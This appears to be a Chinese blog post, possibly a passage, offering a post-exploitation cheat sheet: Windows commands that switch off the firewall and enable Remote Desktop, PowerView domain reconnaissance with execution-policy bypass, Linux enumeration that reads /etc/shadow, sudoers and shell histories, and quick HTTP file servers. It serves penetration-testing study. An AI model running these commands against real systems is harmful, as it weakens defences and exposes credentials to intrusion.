netsh firewall show state                      // 防火墙状态
netsh firewall show config                     // 查看防火墙配置
netsh firewall set opmode disable              // 关闭防火墙(windows server 2003及以前)
netsh advfirewall set allprofiles state off    // 关闭防火墙(windows server 2003以后)

修改防火墙配置

netsh firewall add allowedprogram c:\\xxx\\xx.exe "allow xx" enable    // 允许指定程序的全部连接(windows server 2003及以前)

windows server 2003之后:
netsh advfirewall firewall add rule name="pass xx" dir=in action=allow  program="C:\xxx\xx.exe"         // 允许某个程序连入
netsh advfirewall firewall add rule name="pass xx" dir=out action=allow program="C:\xxx\xx.exe"               // 允许某个程序外连
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow        // 开启3389端口,允许改端口放行

开启远程桌面连接

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

PowerShell信息收集

PowerView

PowerView是一款依赖于PowerShell和WMI对内网进行查询的渗透测试脚本,集成在PowerSploit工具包中,这里使用PowerView

下载地址:

GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework

使用:

在powershell中我没有使用成功,在cmd里可以

C:\Users\mssql\Desktop\PowerSploit-3.0.0\Recon> powershell.exe -exec bypass -
Command "& {Import-Module .\PowerView.ps1;Get-NetDomain}"

Forest                  : de1ay.com
DomainControllers       : {DC.de1ay.com}
Children                : {}
DomainMode              :
Parent                  :
PdcRoleOwner            : DC.de1ay.com
RidRoleOwner            : DC.de1ay.com
InfrastructureRoleOwner : DC.de1ay.com
Name                    : de1ay.com

常用参数:

Get-NetDomain:获取当前用户所在域的名称;
Get-NetUser:获取所有用户信息;
Get-NetDomainController:获取所有域控制器信息;
Get-NetComputer:获取域内所有机器的详细信息;
Get-NetOU:获取域中OU信息;
Get-NetGroup:获取所有域内组合组成员信息;
Get-NetFileServer:根据SPN获取当前域使用的文件服务器信息;
Get-NetShare:获取当前域内所有的网络共享信息;
Get-NetSession:获取指定服务器的会话;
Get-NetRDPSession:获取指定服务器的远程连接;
Get-NetProcess:获取远程主机的进程;
Get-UserProcess:获取指定用户的日志;
Get-ADObject:获取活动目录的对象;
Get-NetGPO:获取域内所有的组策略对象;
Get-DomainPolicy:获取域默认策略或域控制器策略;
Invoke-UserHunter:获取域用户登录的计算机信息和该用户是否有本地管理员权限;
Invoke-ProcessHunter:通过查询域内所有的机器进程找到特定用户;
Invoke-UserEventHunter:根据用户日志查询某域用户登录过哪些域机器;

Linux信息收集

操作系统&内核版本-环境变量

>cat /etc/issue
>cat /etc/*-release
>cat /etc/lsb-release
>cat /etc/redhat-release
cat /proc/version
>uname -a
>uname -mrs
>rpm -q kernel
>dmesg | grep Linux
>ls /boot | grep vmlinuz-
>cat /etc/profile
>cat /etc/bashrc
>cat ~/.bash_profile
>cat ~/.bashrc
>cat ~/.bash_logout
>env
>set
Root权限进程
>ps aux | grep root
>ps -ef | grep root
计划任务
>crontab -l
>ls -alh /var/spool/cron
>ls -al /etc/ | grep cron
>ls -al /etc/cron*
>cat /etc/cron*
>cat /etc/at.allow
>cat /etc/at.deny
>cat /etc/cron.allow
>cat /etc/cron.deny
>cat /etc/crontab
>cat /etc/anacrontab
>cat /var/spool/cron/crontabs/root
IP信息
>/sbin/ifconfig -a
>cat /etc/network/interfaces
>cat /etc/sysconfig/network
连接信息
>grep 80 /etc/services
>netstat -antup
>netstat -antpx
>netstat -tulpn
>chkconfig --list
>chkconfig --list | grep 3:on
>last
>w
用户信息
>id
>whomi
>w
>last
>cat /etc/passwd
>cat /etc/group
>cat /etc/shadow
>ls -alh /var/mail/
>grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # 列出超级用户
>awk -F: '($3 == "0") {print}' /etc/passwd   #列出超级用户
>cat /etc/sudoers
>sudo –l
操作记录
>cat ~/.bash_history
>cat ~/.nano_history
>cat ~/.atftp_history
>cat ~/.mysql_history
>cat ~/.php_history
可写目录
>find / -writable -type d 2>/dev/null      # 可写目录
>find / -perm -222 -type d 2>/dev/null     # 可写目录 
>find / -perm -o w -type d 2>/dev/null     # 可写目录
>find / -perm -o x -type d 2>/dev/null     # 可执行目录
>find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # 可写可执行目录

临时HTTP搭建

>python2 -m SimpleHTTPServer 
>python3 -m http.server 8080
>php -S 0.0.0.0:8888
>openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
>openssl s_server -key key.pem -cert cert.pem -accept 443 –WWW
>ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888,:DocumentRoot => Dir.pwd).start"
>ruby -run -e httpd . -p 8888
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值